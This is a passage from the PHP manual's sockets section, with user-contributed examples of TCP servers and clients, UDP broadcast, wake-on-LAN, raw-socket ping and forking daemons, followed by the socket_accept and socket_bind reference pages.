firefly2442 at hotmail dot com 29-Mar-2008 12:31
Here's a simple script for sending messages back and forth between a server and client.  At this point, the code is fairly rough because once it enters the while loop, it doesn't stop but it can be modified and fixed.  Enjoy.

<?php
//The Server
error_reporting(E_ALL);
$address = "127.0.0.1";
$port = "10000";

/* create a socket in the AF_INET family, using SOCK_STREAM for TCP connection */
$mysock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

socket_bind($mysock, $address, $port);

socket_listen($mysock, 5);

$client = socket_accept($mysock);

echo "Server started, accepting connections...\n";

$i = 0;
while (true == true)
{
    $i++;
    echo "Sending $i to client.\n";
    socket_write($client, $i, strlen($i));

    $input = socket_read($client, 2048);
    echo "Response from client is: $input\n";
    sleep(5);
}

echo "Closing sockets...";
socket_close($client);

socket_close($mysock);

?>

<?php
//The Client
error_reporting(E_ALL);

$address = "127.0.0.1";
$port = 10000;

/* Create a TCP/IP socket. */
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === false) {
    echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
} else {
    echo "socket successfully created.\n";
}

echo "Attempting to connect to '$address' on port '$port'...";
$result = socket_connect($socket, $address, $port);
if ($result === false) {
    echo "socket_connect() failed.\nReason: ($result) " . socket_strerror(socket_last_error($socket)) . "\n";
} else {
    echo "successfully connected to $address.\n";
}

$i = 0;
while (true == true)
{
    $i++;
    echo "Sending $i to server.\n";
    socket_write($socket, $i, strlen($i));

    $input = socket_read($socket, 2048);
    echo "Response from server is: $input\n";
    sleep(5);
}

echo "Closing socket...";
socket_close($socket);
?>
david dot schueler at tel-billig dot de 16-Jan-2008 03:37
Another Workaround for sending UDP Broadcasts to 255.255.255.255 and receiving the responses on a specific port:
<?php
// NOTE!
// This is quick and dirty code! It comes without error handling!

// Timeout in seconds waiting for a response.
$timeout = 10;
$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_bind($sock,"0.0.0.0",10000);
socket_set_option($sock, SOL_SOCKET, SO_BROADCAST, 1);
$buf = "Hello World";
socket_sendto($sock, $buf, strlen($buf), 0, "255.255.255.255", 10000);
socket_set_block($sock);
socket_set_option($sock,
                         SOL_SOCKET,
                         SO_RCVTIMEO,
                         array("sec"=>10,"usec"=>0));
$timeout += time();
while (time() <= $timeout-1) {
 if (($len = @socket_recvfrom($sock,$ret,2048,0,$cIP,$cPort)) != false) {
  echo bin2hex($ret);
 }
}
socket_set_nonblock($sock);
socket_close($sock);
?>
david dot schueler at tel-bilig dot de 14-Jan-2008 03:02
NOTE! If you are trying to send a broadcast-message using this code you _may_ get a "Permission denied"-Error at socket_connect, even if you are running this as root on a linux box.
<?php
$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_connect($sock,"255.255.255.255", 10000);
socket_set_option($sock, SOL_SOCKET, SO_BROADCAST, 1);
$buf = "Hello World!";
socket_write($sock,$buf,strlen($buf));
socket_close($sock);
?>
The only workaround for this is to get the broadcast address of the interface and walk through all IPs with a for-loop.
nakarman at gmail dot com 10-Nov-2007 01:01
I have beaten the zombies with this code:
pcntl_signal(SIGCHLD, SIG_IGN);
pcntl_signal(SIGTERM, SIG_DFL);
pcntl_signal(SIGINT, SIG_DFL);

server now exits with `kill`
White-Gandalf 02-Sep-2007 12:03
At the moment (2007-09), i don't find this extension in the PECL, but instead in the usual php extension directory. It needs to be included in the php-ini:

extension = php_sockets.dll

(or ".so" - whatever for your system).
roberto at spadim dot com dot br 11-Feb-2007 10:27
Wake on Lan , working ok without configurations, and some features

<?php
function wake_on_lan($mac,$addr=false,$port=7) {
    //Usage
    //    $addr:
    //    You will send and broadcast tho this addres.
    //    Normaly you need to use the 255.255.255.255 adres, so i made it as default. So you don't need
    //    to do anything with this.
    //    Since 255.255.255.255 have permission denied problems you can use addr=false to get all broadcast address from ifconfig command
    //    addr can be array with broadcast IP values
    //    $mac:
    //    You will WAKE-UP this WOL-enabled computer, you need to add the MAC-addres here.
    //    Mac can be array too
    //
    //Return
    //    TRUE:    When socked was created succesvolly and the message has been send.
    //    FALSE:    Something went wrong
    //
    //Example 1
    //    When the message has been send you will see the message "Done...."
    //    if ( wake_on_lan('00:00:00:00:00:00'))
    //        echo 'Done...';
    //    else
    //        echo 'Error while sending';
    //
    if ($addr===false){
        exec("ifconfig | grep Bcast | cut -d \":\" -f 3 | cut -d \" \" -f 1",$addr);
        $addr=array_flip(array_flip($addr));
    }
    if(is_array($addr)){
        $last_ret=false;
        for ($i=0;$i<count($ret);$i++)
            if ($ret[$i]!==false)
                $last_ret=wake_on_lan($mac,$ret[$i],$port);
        return($last_ret);
    }
    if (is_array($mac)){
        $ret=array();
        foreach($mac as $k=>v)
            $ret[$k]=wake_on_lan($v,$addr,$port);
        return($ret);
    }
    //Check if it's an real MAC-addres and split it into an array
    $mac=strtoupper($mac);
    if (!preg_match("/([A-F0-9]{1,2}[-:]){5}[A-F0-9]{1,2}/",$mac,$maccheck))
        return false;
    $addr_byte = preg_split("/[-:]/",$maccheck[0]);

    //Creating hardware adress
    $hw_addr = '';
    for ($a=0; $a < 6; $a++)//Changing mac adres from HEXEDECIMAL to DECIMAL
        $hw_addr .= chr(hexdec($addr_byte[$a]));

    //Create package data
    $msg = str_repeat(chr(255),6);
    for ($a = 1; $a <= 16; $a++)
        $msg .= $hw_addr;
    //Sending data
    if (function_exists('socket_create')){
        //socket_create exists
        $sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);    //Can create the socket
        if ($sock){
            $sock_data = socket_set_option($sock, SOL_SOCKET, SO_BROADCAST, 1); //Set
            if ($sock_data){
                $sock_data = socket_sendto($sock, $msg, strlen($msg), 0, $addr,$port); //Send data
                if ($sock_data){
                    socket_close($sock); //Close socket
                    unset($sock);
                    return(true);
                }
            }
        }
        @socket_close($sock);
        unset($sock);
    }
    $sock=fsockopen("udp://" . $addr, $port);
    if($sock){
        $ret=fwrite($sock,$msg);
        fclose($sock);
    }
    if($ret)
        return(true);
    return(false);
}
?>
chabotc at xs4all dot nl 17-Dec-2006 01:01
For an implementation of a Socket Daemon framework that can handle both client and server sockets, async (non blocking) communication, which is flexible and easy to use see:

http://www.chabotc.nl/php/php-socket-daemon-library/
aeolianmeson at NOSPAM dot blitzeclipse dot com 30-May-2006 12:13
There is a fantastic book on this library called 'TCP/IP Sockets in C' (ISBN 1558608265), that covers all of the ins and outs, quirks, and everything else that goes on. It's written for C, of course, but it could have easily been written for PHP with almost no serious code differences.

Dustin
f.moisant 18-May-2006 05:41
This function to send Magic Packet works really !!!

/********/
<?php
function wake($ip, $mac, $port)
{
  $nic = fsockopen("udp://" . $ip, $port);
  if($nic)
  {
    $packet = "";
    for($i = 0; $i < 6; $i++)
       $packet .= chr(0xFF);
    for($j = 0; $j < 16; $j++)
    {
      for($k = 0; $k < 6; $k++)
      {
        $str = substr($mac, $k * 2, 2);
        $dec = hexdec($str);
        $packet .= chr($dec);
      }
    }
    $ret = fwrite($nic, $packet);
    fclose($nic);
    if($ret)
      return true;
  }
  return false;
}
?>

/********/

Executed with:
wake('123.123.123.123', '112233445566', 9);
goldemish at tiscali dot it 24-Apr-2006 06:52
Function to send Magic Packets for Wake on Wan (WOW) or Wake on Lan(WOL), without sockets library.

<?
function WakeOnLan($ip, $mac, $port)
{
        $packet = "";
        for($i = 0; $i < 6; $i++) $packet .= chr(0xFF);
        for($i = 0; $i < 6; $i++) $packet .= chr((int)substr($mac, $i, $i + 2));
        $nic = fsockopen("udp://" . $ip, $port));
        if($nic==false){
            return false;
            fclose($nic);
        }
        fwrite($nic, $packet);
        fclose($nic);
        return true;
}
?>
arplynn at gmail dot com 21-Jan-2006 12:19
If you want to use any complicated preexisting protocols, you may find the function pack (http://php.net/pack) useful.
bmatheny at mobocracy dot net 16-Sep-2005 06:31
A multicast server can be written badly as follows:

$bc_string = "Hello World!";
$sock = socket_create(AF_INET, SOCK_DGRAM, 0);
$opt_ret = socket_set_option($sock, 1, 6, TRUE);
$send_ret = socket_sendto($sock, $bc_string, strlen($bc_string), 0, '230.0.0.1', 4446);

Checking the return types is needed, but this does allow for you to multicast from php code.
philip at birk-jensen dot dk 22-Aug-2005 06:22
I've been using the ICMP Checksum calculation function written by Khaless [at] bigpond [dot] com. But when having an odd length of data, it failed, so I made my own instead, which adds a 0 if the data length is odd:
<?php
function icmpChecksum($data)
{
    // Add a 0 to the end of the data, if it's an "odd length"
    if (strlen($data)%2)
        $data .= "\x00";

    // Let PHP do all the dirty work
    $bit = unpack('n*', $data);
    $sum = array_sum($bit);

    // Stolen from: Khaless [at] bigpond [dot] com
    // The code from the original ping program:
    //    sum = (sum >> 16) + (sum & 0xffff);    /* add hi 16 to low 16 */
    //    sum += (sum >> 16);            /* add carry */
    // which also works fine, but it seems to me that
    // Khaless will work on large data.
    while ($sum>>16)
        $sum = ($sum >> 16) + ($sum & 0xffff);

    return pack('n*', ~$sum);
}
?>
m dot hoppe at hyperspeed dot de 02-Sep-2004 06:36
Very good step-by-step tutorial for a network daemon is here:
http://www.php-mag.net/itr/online_artikel [next]
[before] /psecom,id,484,nodeid,114.html

Sorry, I was forced to split this link. :-(
aidan at php dot net 18-Aug-2004 05:08
hexdump() is a fantastic function for "dumping" packets or binary output from servers. See the below link for more information.

http://aidanlister.com/repos/v/function.hexdump.php
Toppi at kacke dot de 18-Jun-2004 07:06
Here another socketclass which can handle the most importand things.
http://kacke.de/php_samples/source.php?f=socke.inc

Here a little Chatserver based on this class.
http://kacke.de/php_samples/source.php?f=pline.php

Maybe its helpful :)

Toppi
KnoB 11-Jun-2004 05:35
A little example that shows how to implement a simple multi-client iterative server (without forking). Launch the server and connect multiple telnet clients on it. It's a basic chat program.

#!/usr/bin/php -q
<?php
error_reporting(E_ALL);

set_time_limit(0);
ob_implicit_flush();

$address = '127.0.0.1';
$port = 8888;

function handle_client($allclient, $socket, $buf, $bytes) {
    foreach($allclient as $client) {
        socket_write($client, "$socket wrote: $buf");
    }
}

if (($master = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) {
    echo "socket_create() failed: reason: " . socket_strerror($master) . "\n";
}

socket_set_option($master, SOL_SOCKET,SO_REUSEADDR, 1);

if (($ret = socket_bind($master, $address, $port)) < 0) {
    echo "socket_bind() failed: reason: " . socket_strerror($ret) . "\n";
}

if (($ret = socket_listen($master, 5)) < 0) {
    echo "socket_listen() failed: reason: " . socket_strerror($ret) . "\n";
}

$read_sockets = array($master);

while (true) {
    $changed_sockets = $read_sockets;
    $num_changed_sockets = socket_select($changed_sockets, $write = NULL, $except = NULL, NULL);
    foreach($changed_sockets as $socket) {
        if ($socket == $master) {
            if (($client = socket_accept($master)) < 0) {
                echo "socket_accept() failed: reason: " . socket_strerror($msgsock) . "\n";
                continue;
            } else {
                array_push($read_sockets, $client);
            }
        } else {
            $bytes = socket_recv($socket, $buffer, 2048, 0);
            if ($bytes == 0) {
                $index = array_search($socket, $read_sockets);
                unset($read_sockets[$index]);
                socket_close($socket);
            } else {
                $allclients = $read_sockets;
                array_shift($allclients);    // remove master
                handle_client($allclients, $socket, $buffer, $bytes);
            }
        }

    }
}

?>
noSanity 17-May-2004 07:40
I have searched long and hard for a ping script that does NOT use EXEC() or SYSTEM(). So far, I have found nothing, so I decided to write my own, which was a task to say the least.

First off, I would like to thank Khaless for their checksum function, converting it from C looked like a task in itself.

Here is the class I wrote
<?php

class Net_Ping
{
  var $icmp_socket;
  var $request;
  var $request_len;
  var $reply;
  var $errstr;
  var $time;
  var $timer_start_time;
  function Net_Ping()
  {
    $this->icmp_socket = socket_create(AF_INET, SOCK_RAW, 1);
    socket_set_block($this->icmp_socket);
  }

  function ip_checksum($data)
  {
     for($i=0;$i<strlen($data);$i += 2)
     {
         if($data[$i+1]) $bits = unpack('n*',$data[$i].$data[$i+1]);
         else $bits = unpack('C*',$data[$i]);
         $sum += $bits[1];
     }

     while ($sum>>16) $sum = ($sum & 0xffff) + ($sum >> 16);
     $checksum = pack('n1',~$sum);
     return $checksum;
  }

  function start_time()
  {
    $this->timer_start_time = microtime();
  }

  function get_time($acc=2)
  {
    // format start time
    $start_time = explode (" ", $this->timer_start_time);
    $start_time = $start_time[1] + $start_time[0];
    // get and format end time
    $end_time = explode (" ", microtime());
    $end_time = $end_time[1] + $end_time[0];
    return number_format ($end_time - $start_time, $acc);
  }

  function Build_Packet()
  {
    $data = "abcdefghijklmnopqrstuvwabcdefghi"; // the actual test data
    $type = "\x08"; // 8 echo message; 0 echo reply message
    $code = "\x00"; // always 0 for this program
    $chksm = "\x00\x00"; // generate checksum for icmp request
    $id = "\x00\x00"; // we will have to work with this later
    $sqn = "\x00\x00"; // we will have to work with this later

    // now we need to change the checksum to the real checksum
    $chksm = $this->ip_checksum($type.$code.$chksm.$id.$sqn.$data);

    // now lets build the actual icmp packet
    $this->request = $type.$code.$chksm.$id.$sqn.$data;
    $this->request_len = strlen($this->request);
  }

  function Ping($dst_addr,$timeout=5,$percision=3)
  {
    // lets catch dumb people
    if ((int)$timeout <= 0) $timeout=5;
    if ((int)$percision <= 0) $percision=3;

    // set the timeout
    socket_set_option($this->icmp_socket,
      SOL_SOCKET,  // socket level
      SO_RCVTIMEO, // timeout option
      array(
       "sec"=>$timeout, // Timeout in seconds
       "usec"=>0  // I assume timeout in microseconds
       )
      );

    if ($dst_addr)
    {
      if (@socket_connect($this->icmp_socket, $dst_addr, NULL))
      {

      } else {
        $this->errstr = "Cannot connect to $dst_addr";
        return FALSE;
      }
      $this->Build_Packet();
      $this->start_time();
      socket_write($this->icmp_socket, $this->request, $this->request_len);
      if (@socket_recv($this->icmp_socket, &$this->reply, 256, 0))
      {
        $this->time = $this->get_time($percision);
        return $this->time;
      } else {
        $this->errstr = "Timed out";
        return FALSE;
      }
    } else {
      $this->errstr = "Destination address not specified";
      return FALSE;
    }
  }
}

$ping = new Net_Ping;
$ping->ping("www.google.ca");

if ($ping->time)
  echo "Time: ".$ping->time;
else
  echo $ping->errstr;

?>

Hope this saves some troubles.

noSanity
Khaless [at] bigpond [dot] com 18-Jan-2004 09:55
I spent a while trying to use SOCK_RAW to send ICMP request packets so i could ping. This however lead me to need the internet checksum written as a php function, which was a little hard because of the way PHP handles variable types. Anyway, to save others the effort heres what i came up with, this returns Checksum for $data

<?PHP
// Computes Internet Checksum for $data
// will return a 16-bit internet checksum for $data
function inetChecksum($data)
{
    // 32-bit accumilator, 16 bits at a time, adds odd bit on at end
    for($i=0;$i<strlen($data);$i += 2)
    {
        if($data[$i+1]) $bits = unpack('n*',$data[$i].$data[$i+1]);
        else $bits = unpack('C*',$data[$i]);
        $sum += $bits[1];
    }

    // Fold 32-bit sum to 16 bits
    while ($sum>>16) $sum = ($sum & 0xffff) + ($sum >> 16);
    $checksum = pack('n1',~$sum);
    return $checksum;
}
?>

And with this i was able to construct a correct PING Request.
murzik [at] pisem dot net 06-Oct-2003 04:32
>The function, that send the WakeOnLan (WOL, Magic packet) signal:

<?php
# Wake on LAN - (c) HotKey (at SPR dot AT), upgraded by Murzik <tomurzik@inbox.ru>

flush();

function WakeOnLan($addr, $mac)
{
 $addr_byte = explode(':', $mac);
 $hw_addr = '';

 for ($a=0; $a < 6; $a++) $hw_addr .= chr(hexdec($addr_byte[$a]));

 $msg = chr(255).chr(255).chr(255).chr(255).chr(255).chr(255);

 for ($a = 1; $a <= 16; $a++)    $msg .= $hw_addr;

 // send it to the broadcast address using UDP
 // SQL_BROADCAST option isn't help!!
 $s = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
 if ($s == false)
 {
  echo "Error creating socket!\n";
  echo "Error code is '".socket_last_error($s)."' - " . socket_strerror(socket_last_error($s));
 }
 else
 {
 // setting a broadcast option to socket:
  $opt_ret =  socket_set_option($s, 1, 6, TRUE);
  if($opt_ret < 0)
  {
   echo "setsockopt() failed, error: " . strerror($opt_ret) . "\n";
  }
  $e = socket_sendto($s, $msg, strlen($msg), 0, $addr, 2050);
  socket_close($s);
  echo "Magic Packet sent (".$e.") to ".$addr.", MAC=".$mac;
 }
}

#WakeOnLan('yourIPorDomain.dyndns.org', 'your:MAC:address');
#WakeOnLan('192.168.0.2', '00:30:84:2A:90:42');
#WakeOnLan('192.168.1.2', '00:05:1C:10:04:05');

//if you have switch or other routing devices in LAN, sendign to
// the local IP isn't helps! you need send to the broadcast address like this:
WakeOnLan('192.168.1.255', '00:05:1C:10:04:05');

?>
talmage at usi-rpg dot com 04-Jan-2003 12:02
I have spent the past two days ripping out hair trying to figure out how to prevent zombie processes w/the examples above and I just happend to find this in the manual for another lanuage, felt it neccassry to port it here.

--begin copy--
van[at]webfreshener[dot]com
11-Oct-2002 02:53

Forking your PHP daemon will cause it to zombie on exit.

...or so I've seen on:
FreeBSD (PHP4.2.x)
Debian (PHP4.3.0-dev)
Darwin (PHP4.3.0-dev)

This was tested with the example code above and other scripts created for evaluation.

Seems adding <b>--enable-sigchild</b> to your configure will get rid of the problem.

Hope that saves some hair tearing :]

--end copy--

Thanks vam@wenfreshener.com !!!!
saryon at unfix dot org 09-Jul-2002 09:42
I found this EXTREMELY useful link on the zend php
mailing list:

http://www.zend.com/lists/php-dev/200205/msg00286.html

It's about being able to use multiple connections
in a php socket server, WITHOUT having
to use those threads everyone seems to be
so very fond of.
works very well :)
(ps: i didn't make it, so....don't say thanks to me ;),
thank him)
daniel[at]lorch.cc 22-Feb-2002 09:32
"Beej's Guide to Network Programming" is an absolutely excellent and easy to understand tutorial to socket programming. It was written for C developers, but as the socket functions in PHP are (almost) analoguous, this should not be a problem.

http://www.ecst.csuchico.edu/~beej/guide/net/
davem at olsusa dot com 17-Feb-2002 06:27
Below is a simple forked daemon I wrote in PHP. I haven't seen one yet anywhere else, so I thought some people might be wondering how to do  it. Execute
with php -q <file>

<?PHP

/*

    PHP forked daemon
    Standalone PHP binary must be compiled with --enable-sockets and --enable-pcntl
    Dave M. -2002
        Online Services USA
*/

function sig_handler($signo) {

     switch($signo) {
         case SIGTERM:
             // handle shutdown tasks
             exit;
             break;
         case SIGHUP:
             // handle restart tasks
             break;
         case SIGUSR1:
             print "Caught SIGUSR1...\n";
             break;
         case SIGCHLD:
             while( pcntl_waitpid(-1,$status,WNOHANG)>0 ) {
             }
             break;
         case SIGINT:
        exit;
         default:
             // not implemented yet...
             break;
     }

}

function interact($sock) {

    // Custom code goes here... e.g: socket_read() socket_write()...

}

function become_daemon() {

    $child = pcntl_fork();
    if($child) {
        exit; // kill parent
    }
    posix_setsid(); // become session leader
    chdir("/");
    umask(0); // clear umask
    return posix_getpid();

}

function open_pid_file($file) {

    if(file_exists($file)) {
        $fp = fopen($file,"r");
        $pid = fgets($fp,1024);
        fclose($fp);
        if(posix_kill($pid,0)) {
            print "Server already running with PID: $pid\n";
            exit;
        }
        print "Removing PID file for defunct server process $pid\n";
        if(!unlink($file)) {
            print "Cannot unlink PID file $file\n";
            exit;
        }
    }
    if($fp = fopen($file,"w")) {
        return $fp;
    } else {
        print "Unable to open PID file $file for writing...\n";
        exit;
    }
}

function change_identity($uid,$gid) {
    global $pid_file;
    if(!posix_setgid($gid)) {
        print "Unable to setgid to $gid!\n";
        unlink($pid_file);
        exit;
    }
    if(!posix_setuid($uid)) {
        print "Unable to setuid to $uid!\n";
        unlink($pid_file);
        exit;
    }

}

error_reporting (4);

set_time_limit (0);

ob_implicit_flush ();

$pid_file = '/tmp/php_daemon.pid';

$underpriv_uid = '99'; // uid 99 == user nobody, at least on my system.
$underpriv_gid = '99';

$port = 10000;
$address = 0; // 0 binds to all addresses, may not work on fbsd

$quit = 0;

pcntl_signal(SIGCHLD, "sig_handler");
pcntl_signal(SIGTERM, "sig_handler");
pcntl_signal(SIGINT, "sig_handler");

$fh = open_pid_file($pid_file);

if (($sock = socket_create (AF_INET, SOCK_STREAM, 0)) < 0) {
    print "socket_create() failed: reason: " . socket_strerror ($sock) . "\n";
}

if (($ret = socket_bind ($sock, $address, $port)) < 0) {
    print "socket_bind() failed: reason: " . socket_strerror ($ret) . "\n";
}

if (($ret = socket_listen ($sock, 0)) < 0) {
    print "socket_listen() failed: reason: " . socket_strerror ($ret) . "\n";
}

change_identity($underpriv_uid,$underpriv_gid);

print "Server ready. Waiting for connections.....\n";

$pid = become_daemon();
fputs($fh,$pid);
fclose($fh);

while(!$quit) {

    if (($connection = socket_accept($sock)) < 0) {
        next;
    }

    if( ($child = pcntl_fork()) == -1 ) {
        print  "Could not fork!!\n";
        print "Dying...\n";
        $quit++;
    }
    elseif($child == 0) {
        socket_close($sock);
        interact($connection);
        exit;
    }

    socket_close($connection);

}

if(posix_getpid() == $pid) {
    unlink($pid_file);
}
judeman at yahoo dot com 04-Jun-2001 10:49
After several hours of working with sockets in an attempt to do UDP broadcasting, I thought a little help was in order for anyone else looking to do something similar, since it uses a number of those "undocumented" functions.  Here's how I did it:

<?php
    // here is a basic opening of the a socket.  AF_INET specifies the internet domain.  SOCK_DGRAM
// specifies the Datagram socket type the 0 specifies that I want to use the default protcol (which in this
// case is UDP)
    $sock = socket(AF_INET, SOCK_DGRAM, 0);

    // if the file handle assigned to socket is less than 0 then opening the socket failed
    if($sock < 0)
    {
        echo "socket() failed, error: " . strerror($sock) . "\n";
    }

    // here's where I set the socket options, this is essential to allow broadcasting.  An earlier comment (as of
// June 4th, 2001) explains what the parameters are.  For my purposes (UDP broadcasting) I need to set
// the broadcast option at the socket level to true.  In C, this done using SOL_SOCKET as the level param
// (2) and SO_BROADCAST as the type param (3).  These may exist in PHP but I couldn't reference them
// so I used the values that referencing these variables in C returns (namely 1 and 6 respectively).  This
// function is basically just a wrapper to the C  function so check out the C documentation for more info
    $opt_ret = setsockopt($sock, 1, 6, TRUE);

    // if the return value is less than one, an error occured setting the options
    if($opt_ret < 0)
    {
        echo "setsockopt() failed, error: " . strerror($opt_ret) . "\n";
    }

    // finally I am ready to broad cast something.  The sendto function allows this without any
// connections (essential for broadcasting).  So, this function sends the contents of $broadcast_string to the
// general broadcast address (255.255.255.255) on port 4096.  The 0 (param 4) specifies no special
// options, you can read about the options with man sendto
    $send_ret = sendto($sock, $broadcast_string, strlen($broadcast_string), 0, '255.255.255.255', 4096);

// if the return value is less than 0, an error has occured
    if($send_ret < 0)
    {
    echo "sendto() failed, error: " . strerror($send_ret) . "<BR>\n";            }
// be sure to close your socket when you're done
close($sock);
Socket Errors
socket_accept
Sockets


Accepts a connection on a socket

Socket Functions
socket_bind
Socket Functions
PHP Manual

socket_accept

(PHP 4 >= 4.1.0, PHP 5)

socket_accept — Accepts a connection on a socket

Description

resource socket_accept ( resource $socket )

After the socket socket has been created using socket_create(), bound to a name with socket_bind(), and told to listen for connections with socket_listen(), this function will accept incoming connections on that socket. Once a successful connection is made, a new socket resource is returned, which may be used for communication. If there are multiple connections queued on the socket, the first will be used. If there are no pending connections, socket_accept() will block until a connection becomes present. If socket has been made non-blocking using socket_set_blocking() or socket_set_nonblock(), FALSE will be returned.

The socket resource returned by socket_accept() may not be used to accept new connections. The original listening socket socket, however, remains open and may be reused.

Parameters

socket

A valid socket resource created with socket_create().

Return Values

Returns a new socket resource on success, or FALSE on error. The actual error code can be retrieved by calling socket_last_error(). This error code may be passed to socket_strerror() to get a textual explanation of the error.

See Also

  • socket_connect() - Initiates a connection on a socket
  • socket_listen() - Listens for a connection on a socket
  • socket_create() - Create a socket (endpoint for communication)
  • socket_bind() - Binds a name to a socket
  • socket_strerror() - Return a string describing a socket error

User Contributed Notes

Anonymous 09-May-2008 04:32
If you want to know the remote address ( ip address ) and the port of an incoming connection that has been accepted with socket_accept(), you can use socket_getpeername()
Boylett 18-Apr-2008 09:01
If you want to have multiple clients on a server you will have to use non blocking.

<?php

$clients = array();
$socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
socket_bind($socket,'127.0.0.1',$port);
socket_listen($socket);
socket_set_nonblock($socket);

while(true)
{
    if(($newc = socket_accept($socket)) !== false)
    {
        echo "Client $newc has connected\n";
        $clients[] = $newc;
    }
}

?>
lars at opdenkamp dot eu 29-Jan-2008 04:35
If you want to make a daemon process that forks on each client connection, you'll find out that there's a bug in PHP. The child processes send SIGCHLD to their parent when they exit but the parent can't handle signals while it's waiting for socket_accept (blocking).

Here is a piece of code that makes a non-blocking forking server.

#!/usr/bin/php -q
<?php
/**
  * Listens for requests and forks on each connection
  */

$__server_listening = true;

error_reporting(E_ALL);
set_time_limit(0);
ob_implicit_flush();
declare(ticks = 1);

become_daemon();

/* nobody/nogroup, change to your host's uid/gid of the non-priv user */
change_identity(65534, 65534);

/* handle signals */
pcntl_signal(SIGTERM, 'sig_handler');
pcntl_signal(SIGINT, 'sig_handler');
pcntl_signal(SIGCHLD, 'sig_handler');

/* change this to your own host / port */
server_loop("127.0.0.1", 1234);

/**
  * Change the identity to a non-priv user
  */
function change_identity( $uid, $gid )
{
    if( !posix_setgid( $gid ) )
    {
        print "Unable to setgid to " . $gid . "!\n";
        exit;
    }

    if( !posix_setuid( $uid ) )
    {
        print "Unable to setuid to " . $uid . "!\n";
        exit;
    }
}

/**
  * Creates a server socket and listens for incoming client connections
  * @param string $address The address to listen on
  * @param int $port The port to listen on
  */
function server_loop($address, $port)
{
    GLOBAL $__server_listening;

    if(($sock = socket_create(AF_INET, SOCK_STREAM, 0)) < 0)
    {
        echo "failed to create socket: ".socket_strerror($sock)."\n";
        exit();
    }

    if(($ret = socket_bind($sock, $address, $port)) < 0)
    {
        echo "failed to bind socket: ".socket_strerror($ret)."\n";
        exit();
    }

    if( ( $ret = socket_listen( $sock, 0 ) ) < 0 )
    {
        echo "failed to listen to socket: ".socket_strerror($ret)."\n";
        exit();
    }

    socket_set_nonblock($sock);

    echo "waiting for clients to connect\n";

    while ($__server_listening)
    {
        $connection = @socket_accept($sock);
        if ($connection === false)
        {
            usleep(100);
        }elseif ($connection > 0)
        {
            handle_client($sock, $connection);
        }else
        {
            echo "error: ".socket_strerror($connection);
            die;
        }
    }
}

/**
  * Signal handler
  */
function sig_handler($sig)
{
    switch($sig)
    {
        case SIGTERM:
        case SIGINT:
            exit();
        break;

        case SIGCHLD:
            pcntl_waitpid(-1, $status);
        break;
    }
}

/**
  * Handle a new client connection
  */
function handle_client($ssock, $csock)
{
    GLOBAL $__server_listening;

    $pid = pcntl_fork();

    if ($pid == -1)
    {
        /* fork failed */
        echo "fork failure!\n";
        die;
    }elseif ($pid == 0)
    {
        /* child process */
        $__server_listening = false;
        socket_close($ssock);
        interact($csock);
        socket_close($csock);
    }else
    {
        socket_close($csock);
    }
}

function interact($socket)
{
    /* TALK TO YOUR CLIENT */
}

/**
  * Become a daemon by forking and closing the parent
  */
function become_daemon()
{
    $pid = pcntl_fork();

    if ($pid == -1)
    {
        /* fork failed */
        echo "fork failure!\n";
        exit();
    }elseif ($pid)
    {
        /* close the parent */
        exit();
    }else
    {
        /* child becomes our daemon */
        posix_setsid();
        chdir('/');
        umask(0);
        return posix_getpid();

    }
}

?>
galantonp at yahoo dot com 13-Jun-2007 10:20
socket_accept with timeout, seems to work for me on Apache/1.3.37 (FreeBSD 6.0) PHP/4.4.7.

Adapted from ScriptBlue at nyc dot rr dot com's post under socket_connect.

<?php
$socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
socket_bind($socket,$address,$port);
socket_listen($socket);

echo "Waiting for a connection\n";
$conn = false;
switch(@socket_select($r = array($socket), $w = array($socket), $e = array($socket), 60)) {
    case 2:
        echo "Connection refused\n";
        break;
    case 1:
        echo "Connection accepted\n";
        $conn = @socket_accept($socket);
        break;
    case 0:
        echo "Connection timed out\n";
        break;
}

if ($conn !== false) {
    // communicate over $conn
}

?>
gmkarl at gmail dot com 22-May-2007 09:15
Be aware signal handler functions set with pcntl_signal are not called while a socket is blocking waiting for a connection; the signal is absorbed silently and the handler called when a connection is made.
simon at 180solutions dot com 16-May-2005 08:11
>Accepting a connection using php-sockets:
>
>$fd = socket_create(AF_INET, SOCK_STREAM, 6 /* OR >getprotobyname("TCP")*/);
>
>$PORT = 5000;
>
>socket_bind($fd, "0.0.0.0", $PORT);
>
>while(true)
>{
>$remote_fd = socket_accept($fd);
>
>remote_socket_client_handle($remote_fd);
>
>}
>
>It is simple!

This example doesn't work. You have to call socket_listen($fd) after your bind in order to accept incoming connections.

Simon
Greg MacLellan 11-Dec-2003 12:49
The socket returned by this resource will be non-blocking, regardless of what the listening socket is set to. This is actually true for all FCNTL modifiers.
diogo at transoft dot com dot br 18-Aug-2003 01:32
Accepting a connection using php-sockets:

$fd = socket_create(AF_INET, SOCK_STREAM, 6 /* OR getprotobyname("TCP")*/);

$PORT = 5000;

socket_bind($fd, "0.0.0.0", $PORT);

while(true)
{
$remote_fd = socket_accept($fd);

remote_socket_client_handle($remote_fd);

}

It is simple!
Socket Functions
socket_bind
Socket Functions


Binds a name to a socket

socket_accept
socket_clear_error
Socket Functions
PHP Manual

socket_bind

(PHP 4 >= 4.1.0, PHP 5)

socket_bind — Binds a name to a socket

Description

bool socket_bind ( resource $socket , string $address [, int $port = 0 ] )

Binds the name given in address to the socket described by socket. This has to be done before a connection is be established using socket_connect() or socket_listen().

Parameters

socket

A valid socket resource created with socket_create().

address

If the socket is of the AF_INET family, the address is an IP in dotted-quad notation (e.g. 127.0.0.1).

If the socket is of the AF_UNIX family, the address is the path of a Unix-domain socket (e.g. /tmp/my.sock).

port (Optional)

The port parameter is only used when binding an AF_INET socket, and designates the port on which to listen for connections.

Return Values

Returns TRUE on success or FALSE on failure.

The error code can be retrieved with socket_last_error(). This code may be passed to socket_strerror() to get a textual explanation of the error.

Examples

Example #1 Using socket_bind() to set the source address

<?php
// Create a new socket
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

// An example list of IP addresses owned by the computer
